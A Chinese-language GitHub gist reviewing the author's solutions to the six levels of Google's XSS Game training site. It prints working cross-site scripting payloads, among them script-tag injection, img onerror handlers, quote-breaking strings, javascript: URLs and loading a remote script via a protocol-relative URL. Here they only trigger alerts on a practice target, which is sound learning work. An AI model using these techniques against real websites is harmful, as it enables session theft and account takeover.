Skip to content

Instantly share code, notes, and snippets.

@tpai
Last active August 29, 2015 14:14
Show Gist options
  • Save tpai/d77e7233456de3e63428 to your computer and use it in GitHub Desktop.
Save tpai/d77e7233456de3e63428 to your computer and use it in GitHub Desktop.
XSS Wargame Review

XSS Game 是從 @Hsin-Lin Chengfb post 看到的

這網站利用像 Wargame 的方式來讓玩家(?)理解 XSS 的攻擊方式

每一關基本上就是讓它生... 啊不 是讓它噴 alert 就可以了

以下是紀錄:

人家都說是 Hello World 了還猶豫什麼?

script alert 直接丟進去踹啊 XDDD

<script>alert("")</script>

啊哈! 留言板!

......耶? script tag 不能用 (嘖

嗯~ 那就用 event 吧 隨便塞張圖什麼的...

<!-- 當圖片讀取錯誤 觸發onerror -->
<img src="" onerror="alert('');" />
<!-- 當滑鼠點擊 觸發onclick -->
<img src="http://placehold.it/150x150" onclick="alert('')" />

搞定! 這麼說 onmouseover onmouseout 什麼的應該都可以啦 :P

tab 啊... 點點看

欸? URL 好像怪怪的

https://xss-game.appspot.com/level3/frame#1
https://xss-game.appspot.com/level3/frame#2
https://xss-game.appspot.com/level3/frame#3

改個4行不行?

很好 title 跟 image 都跟著變了

照著 image 塞這句

' onerror="alert('')">

實際運作時就像這樣...

<img src="/static/level3/cloud" onerror="alert('')">

BANG!

計時器 送出 n 秒後 n 秒跳回

看一下 target code

timer.html

<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
<div id="message">Your timer will execute in {{ timer }} seconds.</div>

看起來比較可疑的就這兩行了

重點就在於塞進去的 timer 值

哥看準了第二行會印出 html code 所以直接塞 script alert 行不行?

直接告訴你不行 為什麼? 因為我試過

所以在 tag 會被濾掉的前提之下 event 就是我們的好碰友

那就在 loading 圖下功夫吧 onload 那段看準位置塞

');alert('

實際上運作時就是這樣...

startTimer('');alert('');

Dingling~

出現了第一個 href link

看起來就是很可疑 然後送出的參數更可疑...

welcome.html

<a href="/level5/frame/signup?next=confirm">Sign up</a>

signup.html

<a href="{{ next }}">Next >></a>

confirm.html

<script>
	setTimeout(function() { window.location = '{{ next }}'; }, 5000);
</script>

welcome.html 的 Sign up 送出的 next 似乎直通 window.location

說到這個 level 的主題是 breaking protocol

所以不太可能是 http 啥的

直接透過 protocol 執行 js code

就只有...

javascript: alert('');

其實這題我解蠻久的 因為太專注於塞 alert 進去 後來才看到標題... Orz

用 console 觀察會發現這是一個動態載入 js 的節奏 (什麼鬼

但是當你興高采烈的丟一段 url 進去要直接突破盲腸的時候!

它卻給你一個不能包含 http 的 hint

此時我突然做了個當初在幫網站載入 bootstrap 的夢

好像是長這樣的...

<script src="//netdna.bootstrapcdn.com/bootstrap/3.1.1/js/bootstrap.min.js"></script>

啊~ 原來把 http: 去掉就好了

我打了個噴嚏就醒來了

於是歡天喜地的在網址列送出這段...

https://xss-game.appspot.com/level6/frame#[url]

[url]可以換成你自己寫的//your.domain/alert.js或是提示中寫的這段//www.google.com/jsapi?callback=alert

alert("你媽叫你去吃飯!");

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment